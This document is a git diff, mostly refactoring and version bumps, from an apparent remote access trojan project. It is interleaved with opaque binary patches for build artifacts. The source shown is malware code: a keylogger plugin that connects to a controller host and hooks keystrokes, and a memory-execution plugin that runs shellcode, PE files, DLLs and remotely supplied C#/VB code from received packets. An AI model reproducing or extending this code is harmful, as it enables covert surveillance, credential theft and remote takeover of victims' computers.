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 uC2mU=hTNT2heO8vh!hpK1* diff --git a/Remote Access Tool/Plugins/Keylogger/ClientHandler.cs b/Remote Access Tool/Plugins/Keylogger/ClientHandler.cs index 3ea6ded9..6c4afab6 100644 --- a/Remote Access Tool/Plugins/Keylogger/ClientHandler.cs +++ b/Remote Access Tool/Plugins/Keylogger/ClientHandler.cs @@ -155,7 +155,7 @@ public void EndPacketRead(IAsyncResult ar) public void ParsePacket(IPacket packet) { - switch (packet.packetType) + switch (packet.PacketType) { case PacketType.KEYLOG_OFF: this.hasToExit = true; @@ -183,7 +183,7 @@ private int SendData(IPacket data) header[1] = temp[1]; header[2] = temp[2]; header[3] = temp[3]; - header[4] = (byte)data.packetType; + header[4] = (byte)data.PacketType; lock (socket) { diff --git a/Remote Access Tool/Plugins/Keylogger/Launch.cs b/Remote Access Tool/Plugins/Keylogger/Launch.cs index a5581db4..d1667cb7 100644 --- a/Remote Access Tool/Plugins/Keylogger/Launch.cs +++ b/Remote Access Tool/Plugins/Keylogger/Launch.cs @@ -18,14 +18,14 @@ public static class Launch internal static string HWID; public static void Main(LoadingAPI loadingAPI) { - Launch.key = loadingAPI.key; - Launch.baseIp = loadingAPI.baseIp; + Launch.key = loadingAPI.Key; + Launch.baseIp = loadingAPI.BaseIp; Launch.HWID = loadingAPI.HWID; - switch (loadingAPI.currentPacket.packetType) + switch (loadingAPI.CurrentPacket.PacketType) { case PacketType.KEYLOG_ON: - clientHandler = new ClientHandler(loadingAPI.host, key); + clientHandler = new ClientHandler(loadingAPI.Host, key); clientHandler.ConnectStart(); KeyLib.Hook.StartHooking(); break; diff --git a/Remote Access Tool/Plugins/Keylogger/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/Keylogger/Properties/AssemblyInfo.cs index da53071f..2dec6dae 100644 --- a/Remote Access Tool/Plugins/Keylogger/Properties/AssemblyInfo.cs +++ b/Remote Access Tool/Plugins/Keylogger/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("3.2.3.0")] -[assembly: AssemblyFileVersion("3.2.3.0")] +[assembly: AssemblyVersion("3.2.4.0")] +[assembly: AssemblyFileVersion("3.2.4.0")] diff --git a/Remote Access Tool/Plugins/Keylogger/obj/Release/Keylogger.csproj.AssemblyReference.cache b/Remote Access Tool/Plugins/Keylogger/obj/Release/Keylogger.csproj.AssemblyReference.cache index 300a97292aea904b26d85f62d35894ad33b1b86f..2101755e673d8ee06574a5b8f76fc024b34e7388 100644 GIT binary patch delta 677 zcmcb{yF#9mjggaqfq~J{bt0#mTw~|ScNcGQFfuZ71|%kDrm8|3JB;=6qJ~_#h%e*14ZmBl5gxq8m|d1;yHrA3J)nfZB>4HUZfaf$%uWH2G&kI5MX4Z%8-fIN zpn^fAc_o>-sd~YwMVW~?nN?tK>$w3#GqI#3wWwGxI6tufW*ped>sgwZ7+Jwy2KorE zm$3yKiUz;ZT%f(l#UN*a4L4wIVDpXmzbyFHctnoRss1`7Vk+Zg>p@x%%W0ny0|*hD86Gg(gFz!Wr@joB0c Dujavh delta 128 zcmZ1>e~p)wjgfFZU-Q9c{=vCCJUHa;{34%#V> z4_en9fp=&>D_@9|a3SrAv@Ou0tL@D`p7e2tqm*Awg@0-aNAv+JfYVOQ4x`3tu>&}3 zAK>EFh!zBJ50w9gqf$#NCBk^n?y};kgAJAI5sk-+m%8GnQ>evIP^$PY`;4=S;)sv3^Kx=_D!9{aKq;Oa)n1k#Wj9k= zM#HJ#`?^3Crj)C*-Pr9N3D2Z-5q}Kfbsjqc4+J!v(EuG!v2WlBfw&4+yO(u^+j*un zob+QZ>ss8vtNb`7o@W#Y*?@)n{G8`FMnk86>RZmwlyx0F>=?M;zp+y`<>uFzoKr`) zqw;U#JpT_baJ%FoT1M^F+FV0LXs|t+33Wx7NG;*nGGDj!f9jd zmmBk9(SA3LS~~0QFh(5S(7vp((FfUnkT6~PFIO8-h9(O*)Fy6C2V{8(GjA`>4 zIw_1B$k6ZhZTx~g@>X7={<{}2(K;Riq9269 z1QeDyD~RY59++d)>$T=vL>J`a1u@FV-33i+>jWr*X|C!@J}x@SM$zc=@fgq*k71I} zi_pe)9uFt6z_3FbJHMy%rE&CV=aHpkNTL#RunHI_i?k_nIhD}kGEFHNO4`!a0%q+v zfaFuj%51Inj9b?40*Sg!8`iFG-UwdT3xLBM6HDr_uMh~SeEyQ^c^r?*-vXOcD+F;4 z2>fdFTLKNH!bwJ#6~s@L(rb-(gusB0y*@r@DkaayG9R0LeWr1Y_m1&#udi%1J~jmo z+U;B)v@SUUZ&Nob--~wPLfU01TcA-_k2m=EsgGM7rTlFw{7X}KQ}4GteCWjNFlIT8 zwudk51Kiv?(FhOsLgo7$Wi73C5ynGymlehXdY9$m4N=CYqRy<>cHg!Odk(RrBv` z)RA$N{|oH%|L_dgYkYe>c?-v@Zgtfy?^XS4e*ga}2H$)v5;N85nk+@cDpIep+2{bYoxXvMW{=c8p6xkMI51RR83z&UFqwz#d(1oOM);qR!`IF`z3R z!vvp?$7+sMR0JMl))VmjSd0avcnOC6`Xq+g$7oeoqd}K7(HY};8g8uvel%`Vj*Zlw z?T%*kP;JASC!01c-rUlJ=B7<6Te6SE9?`SC@q08{BQH;QRc=ch&fY!Iqflk_*T39< zEi=F8trxGi4%J7pwZ)5cnkElTY8f?U{(s(8GL{_6pXq>{m;AD`A|SoeR>$v(YxL~y o(m6!avfoXv;~>k*D$QvqM+JY$Uvp*y0WMlrnawS~N}UzfKez}pVE_OC diff --git a/Remote Access Tool/Plugins/MemoryExecution/Launch.cs b/Remote Access Tool/Plugins/MemoryExecution/Launch.cs index 630858cc..a324d25b 100644 --- a/Remote Access Tool/Plugins/MemoryExecution/Launch.cs +++ b/Remote Access Tool/Plugins/MemoryExecution/Launch.cs @@ -19,46 +19,46 @@ public static void Main(LoadingAPI loadingAPI) { MemoryExecutionPacket memoryExecutionPacket; byte[] decompressed; - switch (loadingAPI.currentPacket.packetType) + switch (loadingAPI.CurrentPacket.PacketType) { case PacketType.MEM_EXEC_SHELLCODE: - memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.currentPacket; + memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.CurrentPacket; decompressed = Compressor.QuickLZ.Decompress(memoryExecutionPacket.payload); ShellCode.RunShellCode(decompressed); break; case PacketType.MEM_EXEC_NATIVE_PE: - memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.currentPacket; + memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.CurrentPacket; decompressed = Compressor.QuickLZ.Decompress(memoryExecutionPacket.payload); NativePE.LoadPE(decompressed); break; case PacketType.MEM_EXEC_NATIVE_DLL: - memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.currentPacket; + memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.CurrentPacket; decompressed = Compressor.QuickLZ.Decompress(memoryExecutionPacket.payload); NativeDll.LoadDll(decompressed); break; case PacketType.MEM_EXEC_MANAGED_DLL: - memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.currentPacket; + memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.CurrentPacket; decompressed = Compressor.QuickLZ.Decompress(memoryExecutionPacket.payload); ManagedDll.LoadDll(decompressed, memoryExecutionPacket.managedEntryPoint); break; case PacketType.MEM_EXEC_MANAGED_PE: - memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.currentPacket; + memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.CurrentPacket; decompressed = Compressor.QuickLZ.Decompress(memoryExecutionPacket.payload); ManagedExe.LoadExe(decompressed); break; case PacketType.MEM_EXEC_CSHARP_CODE: DotNetCode.Compiler(new CSharpCodeProvider(new Dictionary() { - {"CompilerVersion", "v4.0" } }), ((RemoteCodeExecution)loadingAPI.currentPacket).code, string.Join(",", ((RemoteCodeExecution)loadingAPI.currentPacket).references).Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries), ((RemoteCodeExecution)loadingAPI.currentPacket).compilerOptions); + {"CompilerVersion", "v4.0" } }), ((RemoteCodeExecution)loadingAPI.CurrentPacket).code, string.Join(",", ((RemoteCodeExecution)loadingAPI.CurrentPacket).references).Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries), ((RemoteCodeExecution)loadingAPI.CurrentPacket).compilerOptions); break; case PacketType.MEM_EXEC_VB_CODE: DotNetCode.Compiler(new VBCodeProvider(new Dictionary() { - {"CompilerVersion", "v4.0" } }), ((RemoteCodeExecution)loadingAPI.currentPacket).code, string.Join(",", ((RemoteCodeExecution)loadingAPI.currentPacket).references).Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries), ((RemoteCodeExecution)loadingAPI.currentPacket).compilerOptions); + {"CompilerVersion", "v4.0" } }), ((RemoteCodeExecution)loadingAPI.CurrentPacket).code, string.Join(",", ((RemoteCodeExecution)loadingAPI.CurrentPacket).references).Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries), ((RemoteCodeExecution)loadingAPI.CurrentPacket).compilerOptions); break; default: diff --git a/Remote Access Tool/Plugins/MemoryExecution/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/MemoryExecution/Properties/AssemblyInfo.cs index 8192ca15..5641d494 100644 --- a/Remote Access Tool/Plugins/MemoryExecution/Properties/AssemblyInfo.cs +++ b/Remote Access Tool/Plugins/MemoryExecution/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("3.2.3.0")] -[assembly: AssemblyFileVersion("3.2.3.0")] +[assembly: AssemblyVersion("3.2.4.0")] +[assembly: AssemblyFileVersion("3.2.4.0")] diff --git a/Remote Access Tool/Plugins/MemoryExecution/obj/Release/MemoryExecution.csproj.AssemblyReference.cache b/Remote Access Tool/Plugins/MemoryExecution/obj/Release/MemoryExecution.csproj.AssemblyReference.cache index 3abaf2adf66f9847796a1682b1b70e91c43738c0..d17112ab784e19a75593cb6ae997c6947b20ad07 100644 GIT binary patch delta 571 zcmcb{`%#XQjggaqfq~J{bt0#mTw~|ScNcGQFfuZ71|%kDrm8|3JB;=6qJ~_#h%e*a0^#uz)TFrgr3@4apb!Ry+2ly3U~q`DF`EJaOJt)s delta 161 zcmew;ca4{mjgfD5U@Z diff --git a/Remote Access Tool/Plugins/MemoryExecution/obj/Release/MemoryExecution.csproj.CoreCompileInputs.cache b/Remote Access Tool/Plugins/MemoryExecution/obj/Release/MemoryExecution.csproj.CoreCompileInputs.cache index 36f9662e..f3908b68 100644 --- a/Remote Access Tool/Plugins/MemoryExecution/obj/Release/MemoryExecution.csproj.CoreCompileInputs.cache +++ b/Remote Access Tool/Plugins/MemoryExecution/obj/Release/MemoryExecution.csproj.CoreCompileInputs.cache @@ -1 +1 @@ -7d96474df0dab3f2681d13850a69624329c9a12d +5466ec8897c23314c966885ddb78fdf06b4ec5ac diff --git a/Remote Access Tool/Plugins/MemoryExecution/obj/Release/MemoryExecution.dll b/Remote Access Tool/Plugins/MemoryExecution/obj/Release/MemoryExecution.dll index 0e80fde015dc2c58cc373dd0c9195b317d58ac03..3613a529d5da4e88816d926dd7e64ded87541535 100644 GIT binary patch delta 4971 zcmb_gd2m!^67TP2-b*qw$=sQl%$Y+-$Vn0th9eLnfw+hSNVw#PoH0rcDA??>yhIQs zB}eL^Dc1uiMWpZ!E}|UkiYTbHxa)$JD0l$6h_F={SytWc?l%d+%If~Hq4<6M>+Y|+ zzkWUMy_wdpMeEmM(|v{;Thh;T-0v5~9XqFrFEk+r%5U8d;MY>5Y;C$2C~ni*gsNRy z5~syUW_fcJfY6#6O1dUWPG8PbVSu#B%bM$!ELsZqx2YW9l8n0Q$xCleG>b zq%uCvns)0Yy8^2Nl}-g_CJ@G2Da*GOl0%kC6_-0<0Bj&==3Pycb|17f?XbNOaus?3nYTqaxS1i&_=ro zy@ZQ6%Wf=4RbU)$P{7Ec53pgcgVK*?`FD&@G8XXWje?5+!ZenXB$AK&=wx*vk~=W8 z5w5tXAl2gZDe&76Wtn0joXjO&31EpTeC!!+{5RYYPpAI_cESi#Jde8-cnRf1IF>}U z&qf(f?4zJ#JR4DeTi}so1?-_y*xswgQ+7MlCvP;`;h<@wkuK-6d{qU|KPy=Op&45;6g)>o>$;@llZG$kR6)r_>S!^qd(QP@LA}<;=7v~XR z5B@L19mOCa&PW271vX?csJ~zVs6!SZW`&bcI)aURwVh#~*r2@;&J^3Vi{T5A5N>XP z<50_yI>L5eR1qsV} zJEXJu%s!8@#mufm*`3VxXy;NhExQ7`|4P=CYN51%y5ASZQ-9>ll#VzvoP}5w z&O`rjdw4z2rZ{UT&D&`n_C%xCtr@g(6c_8e+f~2;&Jh`3dLQ2`jwi zs2>zcCx7<@#Ap13R}u*4m@TwKbfUePmR7mJU1d;U4db&$lHXzZ9hOfpj`EX!H|txR zB(Gz+)JyVq_Nmtj)6+z)HZ?s>ZLyR70md5~Bo{G`XB-)tfSPnmIpS&e6vSfBG{nY4 z^6XCLy>7BzG7~eFbM+XuJ*O`L4N$D;QJQvpt?Xx2n8+7$lO!2Ag9Z%IjI9 zGJ=c3`5900k-lLZ!kP(;FWV@>29EHSkK}qM;Y8;`#By&v;z?T=KaJypgcn(!5i}8* z!&PT$t8d6uLykst9bzH$dI?`P6P{)ahDa`pBaC6|c{j=9O@x2(Q_6Wb0GK{;9^#)^ zqw7E5qgst*J;oUy=0f*z7w`3P&s3ZV1(x!*dI!lX7$4v!Kg(yTPb9s{dYU1;d~9v! zPINNrKI{0x4dgUmv1f$k?^s^TMdVs2@vlsTIrhmE?o%961%6;`caWUL1)bFshsoz% zo{uAZA+E-g&soNCA(EFS6ApC}R&@O^pjIS2YF}ljX?>pY4Xr-oll-;pgOOW{03rs~uEQeIZyQ;$U+c`@=(_ZH72_ zKZ95Y#QI(}#DkyiZpfZ+9X2Guv@D%vB>dT6g&{dQJCpo@!47ltbaq_3Fvuq+Xz^LT z$O`wr41RD9)-C0BAqQbOv$e3nqCgl{G5b_(W_EwnwnLkh<&%E2XurvtWZCb|mUEz? zP!D3!KFac`>p~@R0eleE-4Q62Z-j6Wdw9P0G)pBgoS6nsddA8naGDu4L4jfLC9?-% zr?W~P1_z62p9UX0rpd$Ma+KNZbL3J;E$Ok%kw?NrW*9|ywB^}1N!=c8Uv_d$o4-*W zLw?W-4~A>~%jL0fnqAvK!6(sJ$cvCwPd^q)dYKh%qk37pG>+Wxo<^Qpc1|&6n6EF7 z

L9^$TE9?*?Ksu4A|NGVRBlf>TazJ0Y^(8l-Z433~F?~6%FNuQ-VvpMB z(R)-IJ2+E)-Us-xs5VpJ{U{qC1z!sU^wkgeiROB%zAMj8yWYW<6A4I;!Q1UmAzYJCy+G`8x#Z86F9+jD%A9sz{@4p@&)=EzV;g6 z6+V0(_E>_`c%fs!tnDv!t9?E1Mo$5KHHQKc?(N{cml7nj4#QFe9OoHT6iwndG5vJCCz?tr zH{m%9P-B-cWhYNhkGVgq!f9eL4fTWkrJqSa5$yO@YJm6f7&2_V{xE7k=4%P4z4|#Q zL=0~>{6aG7oB`JGrR;l*YkHXvpm3kmo&;p>uTg1OuLNOEFF5o<{J03{U*9)$f5YB) zwzx#~x^W{_f8*SDl=_C~JD&aPuN6cWiw61ni>2xx<1sueTX+EPeAI0y76f`1=gD*1ffpsYFLwP~? zHE?obC%8=SqWq=julTHcD)<>h7FxfMX1L)c9d0o69riP9Rfyek9aZv(3n1l#~3CH`ah&DgTueebP!aK>A#_!ID0T-y`cRxTDblCniqC}jg4r&4MN%+T`iF2?GNcrtm~tf{ zWd#aRemz(O+1#6K?9FJ&hA##;ODR%|xo9?|NKbjIrRn03a~9(0;9@k)^%X&coyw$w zaI;j2@^YyPaV4TBq(GH)%ytg;a!^7m%k9#1X>{-*EKZo7z-TMGc0@)PV&j}57GRQg ze#FR_L}#9sQ|evN=EtwPq7G_t9VIk4XhbeO0C_mOqeUld2?;0{4*~g&5)Z@OW?CPG zT>)CRz%I0p65C*)Tfp%3^kaabmF^()yy*G+Lfch(gQ*ff6H$xyQRxNoT-TA2i!Jh^ z1K>J~d4}bJBYv~Pt@5nc6iH)uC2FxCV9)_;Y##@9a>N?Z30vB!8(h|7{av>jo X7h4?P3V?So7&4;Ew(O$l$dCOGnRRJ5 delta 4970 zcmb_gdsNhQ7Qf%$%x{1hnD;R62SUooOM$>qK?xPHGzn436vh}+>Fv*o2Mev9$TI?ZLM8xccn55TWia9x4rlN2E-24{;|X1^S!U{eSPom zG1K;$X!}gud$)F9aK|T|9X@eI=gwK8R}o^Ee53=wr=&=kO0^g!7Aq@7RHP|FvdLR3 z0EAN8SlBgPvU{_h3IU{6wlvo-U34?xXG6A|Y+UQWb zAVbi>D2w9O!4AeT=32K2UUrjwf%%+62cI&&!PsFT$!x}DjJLAm{7!-|o`EFy}dk5v=l9y%7w7Fa1Vvn7;JuAZ(#s#csl8j`9>H z6xBf`ZqR{)T_0jaw~Yc%W%_Q$J&Z-XdA;ByfH0NmWQpigUaG7mNOUK<)`KRQ5?W&l zdUdcmNKtA`g!4E>O#oAj!pE+$`tRY!1gd^7c0vy|uH8-@JdLywP9#(A^N_}hz2tPd zYdy*r`5*P@z#se++j~L(snrUtp7nYw>^H2}({b+RQx!meX7GdnN|>e*n3H(WUIGRf 